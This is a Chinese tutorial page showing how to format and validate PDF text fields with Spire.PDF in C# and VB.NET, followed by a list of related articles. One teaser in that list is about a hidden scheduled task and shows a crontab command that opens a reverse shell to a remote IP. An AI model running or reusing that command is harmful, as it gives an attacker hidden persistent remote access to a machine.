概述

PDF中的文本域可以通过设置不同格式,用于显示数字、货币、日期、时间、邮政编码、电话号码和社保号等等。Adobe Acrobat提供了许多固定的JavaScripts用来设置和验证文本域的格式,如:AFNumber_Format(2, 0, 0, 0, "$", true)和AFNumber_Keystroke(2, 0, 0, 0, "$", true)。Format后缀的script是用来设置文本域显示的格式,而Keystroke后缀的script是用来验证输入内容。

Spire.PDF for .NET提供了相应的方法来设置和验证文本域格式。下面的表格罗列了常用的格式和Spire.PDF中对应的方法,可参考使用:

描述

示例

JavaScript

Spire.PDF提供的方法

日期

01/05/2022

AFDate_FormatEx("mm/dd/yyyy"); AFDate_KeystrokeEx("mm/dd/yyyy");

GetDateFormatString("mm/dd/yyyy"); GetDateKeystrokeString("mm/dd/yyyy");

邮政编码

12345

AFSpecial_Format(0); AFSpecial_Keystroke(0);

GetSpecialFormatString(0); GetSpecialKeystrokeString(0);

邮政编码+4

12345-1234

AFSpecial_Format(1); AFSpecial_Keystroke(1);

GetSpecialFormatString(1); GetSpecialKeystrokeString(1);

电话号码

(123)456-7890

AFSpecial_Format(2); AFSpecial_Keystroke(2);

GetSpecialFormatString(2); GetSpecialKeystrokeString(2);

货币

$12345.00 -$12345.00

AFNumber_Format(2,0,0,0,"$",true); AFNumber_Keystroke(2,0,0,0,"$",true);

GetNumberFormatString(2,0,0,0,"$",true); GetNumberKeystrokeString(2,0,0,0,"$",true);

验证

1.5≤输入值≤5.5

AFRange_Validate(true,1.5,true,5.5);

GetRangeValidateString(true,1.5,true,5.5);

引入dll

1.通过NuGet安装dll(2种方法)

1.1 可以在Visual Studio中打开“解决方案资源管理器”,鼠标右键点击“引用”,“管理NuGet包”,然后搜索“Spire.PDF”,点击“安装”。

1.2 将以下内容复制到PM控制台安装。

Install-Package Spire.PDF -Version 7.12.1

2.手动添加dll引用

可通过手动下载包,然后解压,找到BIN文件夹下的Spire.Pdf.dll。在Visual Studio中打开“解决方案资源管理器”,鼠标右键点击“引用”,“添加引用”将本地路径BIN文件夹下的dll文件添加引用至程序。

代码(C#/VB.NET)

C#

using Spire.Pdf;
using Spire.Pdf.Actions;
using Spire.Pdf.Fields;
using System.Drawing; namespace SetTextFormatInTextboxField
{
class Program
{
static void Main(string[] args)
{
//新建PDF文档,并添加空白页
PdfDocument pdf = new PdfDocument();
PdfPageBase page = pdf.Pages.Add(); //定义坐标变量
float X = 10;
float Y = 10;
float width = 100;
float height = 20; //实例化一个文本域对象,并设置它的位置和边框样式
PdfTextBoxField textbox = new PdfTextBoxField(page, "Number-TextBox");
textbox.Bounds = new RectangleF(X, Y, width, height);
textbox.BorderWidth = 0.75f;
textbox.BorderStyle = PdfBorderStyle.Solid; //给文本域的键盘击键事件设置一个JavaScript动作用于验证输入内容是否符合要求
string js = PdfJavaScript.GetNumberKeystrokeString(2, 0, 0, 0, "$", true);
PdfJavaScriptAction jsAction = new PdfJavaScriptAction(js);
textbox.Actions.KeyPressed = jsAction; //设置文本域内容显示为数字货币
js = PdfJavaScript.GetNumberFormatString(2, 0, 0, 0, "$", true);
jsAction = new PdfJavaScriptAction(js);
textbox.Actions.Format = jsAction; //添加文本域到PDF中,并保存文档
pdf.Form.Fields.Add(textbox); //添加文本框,设置文本内容显示为日期格式
PdfTextBoxField textbox1 = new PdfTextBoxField(page, "DateFormat-TextBox");
textbox1.Bounds = new RectangleF(X+200, Y, width, height);
textbox1.BorderWidth = 0.75f;
textbox1.BorderStyle = PdfBorderStyle.Solid;
string js1 = PdfJavaScript.GetDateKeystrokeString("mm/dd/yyyy");
PdfJavaScriptAction jsAction1 = new PdfJavaScriptAction(js1);
textbox1.Actions.KeyPressed = jsAction1;
js1 = PdfJavaScript.GetDateFormatString("mm/dd/yyyy");
jsAction1 = new PdfJavaScriptAction(js1);
textbox1.Actions.Format = jsAction1;
pdf.Form.Fields.Add(textbox1); //添加文本框,设置文本内容显示为邮政编码格式
PdfTextBoxField textbox2 = new PdfTextBoxField(page, "SpecialFormat0-1-TextBox");
textbox2.Bounds = new RectangleF(X + 400, Y, width, height);
textbox2.BorderWidth = 0.75f;
textbox2.BorderStyle = PdfBorderStyle.Solid;
//string js2 = PdfJavaScript.GetSpecialKeystrokeString(0);
string js2 = PdfJavaScript.GetSpecialKeystrokeString(1); PdfJavaScriptAction jsAction2 = new PdfJavaScriptAction(js2);
textbox2.Actions.KeyPressed = jsAction2;
//js2 = PdfJavaScript.GetSpecialFormatString(0);
js2 = PdfJavaScript.GetSpecialFormatString(1);
jsAction2 = new PdfJavaScriptAction(js2);
textbox2.Actions.Format = jsAction2;
pdf.Form.Fields.Add(textbox2); //添加文本框,设置文本内容显示为百分数
PdfTextBoxField textbox3 = new PdfTextBoxField(page, "SpecialFormat2-TextBox");
textbox3.Bounds = new RectangleF(X, Y+50, width, height);
textbox3.BorderWidth = 0.75f;
textbox3.BorderStyle = PdfBorderStyle.Solid;
string js3 = PdfJavaScript.GetPercentKeystrokeString(1,0);
PdfJavaScriptAction jsAction3 = new PdfJavaScriptAction(js3);
textbox3.Actions.KeyPressed = jsAction3;
js3 = PdfJavaScript.GetPercentFormatString(1, 0);
jsAction3 = new PdfJavaScriptAction(js3);
textbox3.Actions.Format = jsAction3;
pdf.Form.Fields.Add(textbox3); //添加文本框,设置数据验证
PdfTextBoxField textbox4 = new PdfTextBoxField(page, "RangeValidate-TextBox");
textbox4.Bounds = new RectangleF(X+200, Y + 50, width, height);
textbox4.BorderWidth = 0.75f;
textbox4.BorderStyle = PdfBorderStyle.Solid;
string js4 = PdfJavaScript.GetRangeValidateString(true, -18, true, 18);
PdfJavaScriptAction jsAction4 = new PdfJavaScriptAction(js4);
textbox4.Actions.Format = jsAction4;
pdf.Form.Fields.Add(textbox4); //保存文档
pdf.SaveToFile("FormatField.pdf", FileFormat.PDF);
}
}
}

VB.NET

Imports Spire.Pdf
Imports Spire.Pdf.Actions
Imports Spire.Pdf.Fields
Imports System.Drawing Namespace SetTextFormatInTextboxField
Class Program
Private Shared Sub Main(args As String())
'新建PDF文档,并添加空白页
Dim pdf As New PdfDocument()
Dim page As PdfPageBase = pdf.Pages.Add() '定义坐标变量
Dim X As Single = 10
Dim Y As Single = 10
Dim width As Single = 100
Dim height As Single = 20 '实例化一个文本域对象,并设置它的位置和边框样式
Dim textbox As New PdfTextBoxField(page, "Number-TextBox")
textbox.Bounds = New RectangleF(X, Y, width, height)
textbox.BorderWidth = 0.75F
textbox.BorderStyle = PdfBorderStyle.Solid '给文本域的键盘击键事件设置一个JavaScript动作用于验证输入内容是否符合要求
Dim js As String = PdfJavaScript.GetNumberKeystrokeString(2, 0, 0, 0, "$", True)
Dim jsAction As New PdfJavaScriptAction(js)
textbox.Actions.KeyPressed = jsAction '设置文本域内容显示为数字货币
js = PdfJavaScript.GetNumberFormatString(2, 0, 0, 0, "$", True)
jsAction = New PdfJavaScriptAction(js)
textbox.Actions.Format = jsAction '添加文本域到PDF中,并保存文档
pdf.Form.Fields.Add(textbox) '添加文本框,设置文本内容显示为日期格式
Dim textbox1 As New PdfTextBoxField(page, "DateFormat-TextBox")
textbox1.Bounds = New RectangleF(X + 200, Y, width, height)
textbox1.BorderWidth = 0.75F
textbox1.BorderStyle = PdfBorderStyle.Solid
Dim js1 As String = PdfJavaScript.GetDateKeystrokeString("mm/dd/yyyy")
Dim jsAction1 As New PdfJavaScriptAction(js1)
textbox1.Actions.KeyPressed = jsAction1
js1 = PdfJavaScript.GetDateFormatString("mm/dd/yyyy")
jsAction1 = New PdfJavaScriptAction(js1)
textbox1.Actions.Format = jsAction1
pdf.Form.Fields.Add(textbox1) '添加文本框,设置文本内容显示为邮政编码格式
Dim textbox2 As New PdfTextBoxField(page, "SpecialFormat0-1-TextBox")
textbox2.Bounds = New RectangleF(X + 400, Y, width, height)
textbox2.BorderWidth = 0.75F
textbox2.BorderStyle = PdfBorderStyle.Solid
'string js2 = PdfJavaScript.GetSpecialKeystrokeString(0);
Dim js2 As String = PdfJavaScript.GetSpecialKeystrokeString(1) Dim jsAction2 As New PdfJavaScriptAction(js2)
textbox2.Actions.KeyPressed = jsAction2
'js2 = PdfJavaScript.GetSpecialFormatString(0);
js2 = PdfJavaScript.GetSpecialFormatString(1)
jsAction2 = New PdfJavaScriptAction(js2)
textbox2.Actions.Format = jsAction2
pdf.Form.Fields.Add(textbox2) '添加文本框,设置文本内容显示为百分数
Dim textbox3 As New PdfTextBoxField(page, "SpecialFormat2-TextBox")
textbox3.Bounds = New RectangleF(X, Y + 50, width, height)
textbox3.BorderWidth = 0.75F
textbox3.BorderStyle = PdfBorderStyle.Solid
Dim js3 As String = PdfJavaScript.GetPercentKeystrokeString(1, 0)
Dim jsAction3 As New PdfJavaScriptAction(js3)
textbox3.Actions.KeyPressed = jsAction3
js3 = PdfJavaScript.GetPercentFormatString(1, 0)
jsAction3 = New PdfJavaScriptAction(js3)
textbox3.Actions.Format = jsAction3
pdf.Form.Fields.Add(textbox3) '添加文本框,设置数据验证
Dim textbox4 As New PdfTextBoxField(page, "RangeValidate-TextBox")
textbox4.Bounds = New RectangleF(X + 200, Y + 50, width, height)
textbox4.BorderWidth = 0.75F
textbox4.BorderStyle = PdfBorderStyle.Solid
Dim js4 As String = PdfJavaScript.GetRangeValidateString(True, -18, True, 18)
Dim jsAction4 As New PdfJavaScriptAction(js4)
textbox4.Actions.Format = jsAction4
pdf.Form.Fields.Add(textbox4) '保存文档
pdf.SaveToFile("FormatField.pdf", FileFormat.PDF)
End Sub
End Class
End Namespace

设置后的文本框域填写效果如图:

—End—

C# 设置或验证 PDF中的文本域格式的更多相关文章

  1. java itext替换PDF中的文本

    itext没有提供直接替换PDF文本的接口,我们可以通过在原有的文本区域覆盖一个遮挡层,再在上面加上文本来实现. 所需jar包: 1.先在PDF需要替换的位置覆盖一个白色遮挡层(颜色可根据PDF文字背 ...

  2. pdf转换成文本解决格式不统一问题

    pdf转换成文本解决格式不统一问题 懒得调OCR服务了,所以快速解决的方法是: pdf转png:https://pdf2png.com/zh/ png转统一格式pdf:adobe acrobat自带增 ...

  3. 使用itext直接替换PDF中的文本

    直接说问题,itext没有直接提供替换PDF中文本的接口(查看资料得到的结论是PDF不支持这种操作),不过存在解决思路:在需要替换的文本上覆盖新的文本.按照这个思路我们需要解决以下几个问题: itex ...

  4. Java 读取PDF中的文本和图片

    本文将介绍通过Java程序来读取PDF文档中的文本和图片的方法.分别调用方法extractText()和extractImages()来读取.   使用工具:Free Spire.PDF for Ja ...

  5. 解决:HTML中多文本域(textarea)回车后数据存入数据库,EL表达式取出异常。

    问题描述: 当多文本域(textarea)回车后数据存入数据库. EL表达式取出异常,值换行倒置页面报错. 问题解决: 存值脚本代码,提交前转换\n为<br/>. <script t ...

  6. Java 设置PDF中的文本旋转、倾斜

    本文介绍通过Java程序在PDF文档中设置文本旋转.倾斜的方法.设置文本倾斜时,通过定义方法TransformText(page);并设置page.getCanvas().skewTransform( ...

  7. Java 在PDF中添加水印——文本/图片水印

    水印是一种十分常用的防伪手段,常用于各种文档.资料等.常见的水印,包括文字类型的水印.图片或logo类型的水印.以下Java示例,将分别使用insertTextWatermark(PdfPageBas ...

  8. java从pdf中提取文本

    一(单文件转换):下载pdfbox包,百度搜pdfbox.(fontbox-1.8.16.jar和pdfbox-app-1.8.16.jar) package pdf; import java.io. ...

  9. 用python解析pdf中的文本与表格【pdfplumber的安装与使用】

    我们接触到的很多文档资料都是以pdf格式存在的,比如:论文,技术文档,标准文件,书籍等.pdf格式使得用机器从中提取信息格外困难. 为了解决这个问题,我找到了几种解决方案,最后选择了python上的p ...

随机推荐

  1. linux 加密安全之AWK

    密钥 密钥一般是一串字符串或数字,在加密或者解密时传递给加密或者解密算法,以使算法能够正确对明文加密或密文解密. 加密算法 已知的加密算法有对称和非对称加密,也就是说你想进行加解密操作的时候需要具备密 ...

  2. my37_MGR流控对数据库性能的影响以及MGR与主从的性能对比

    mysql> show variables like 'group_replication_flow_control_applier_threshold'; +----------------- ...

  3. String类型和包装类型作为参数传递时,是属于值传递还是引用传递呢?

    原理知识: 如果参数类型是原始类型,那么传过来的就是这个参数的一个副本,也就是这个原始参数的值,这个跟之前所谈的传值是一样的.如果在函数中改变了副本的 值不会改变原始的值. 如果参数类型是引用类型,那 ...

  4. 编译工具grdle部署

    目录 一.简介 二.部署 三.测试 一.简介 Gradle 是以 Groovy 语言为基础,面向Java应用为主.基于DSL(领域特定语言)语法的自动化构建工具.在github上,gradle项目很多 ...

  5. MES目前应用很多,为什么APS计划排程系统应用很少?

    一.APS自动化计划排程能带来哪些效益? 1.提高订单准时交货率,提高客户满意度 2.缩短生产制造周期,提高生产效率 3.多品种.小批量.以销定产,快速解决插单.急单预测交期问题 4.减少物料采购提前 ...

  6. Sentinel-Go 源码系列(三)滑动时间窗口算法的工程实现

    要说现在工程师最重要的能力,我觉得工程能力要排第一. 就算现在大厂面试经常要手撕算法,也是更偏向考查代码工程实现的能力,之前在群里看到这样的图片,就觉得很离谱. 算法与工程实现 在 Sentinel- ...

  7. 如何高效地把Spring boot学到能干活的程度

    Spring boot要学什么?要学到什么程度?以及相关的学习方法是什么?这些很难量化,但极好形容:需要学到能帮你找到一份工作的程度.   任何脱离工作脱离实际的学习,都是没有意义的.比如程序员运行通 ...

  8. CF1003C Intense Heat 题解

    Content 给定一个长度为 \(n\) 的数列,求数列中所有长度 \(\geqslant k\) 的区间的最大平均值. 数据范围:\(1\leqslant k,n,a_i\leqslant 500 ...

  9. 【JAVA今法修真】 第六章 天道无情,锁定乾坤

    您好,我是南橘,万法仙门的掌门,刚刚从九州世界穿越到地球,因为时空乱流的影响导致我的法力全失,现在不得不通过这个平台向广大修真天才们借去力量.你们的每一个点赞,每一个关注都是让我回到九州世界的助力,兄 ...

  10. 隐藏计划任务反弹shell

    靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...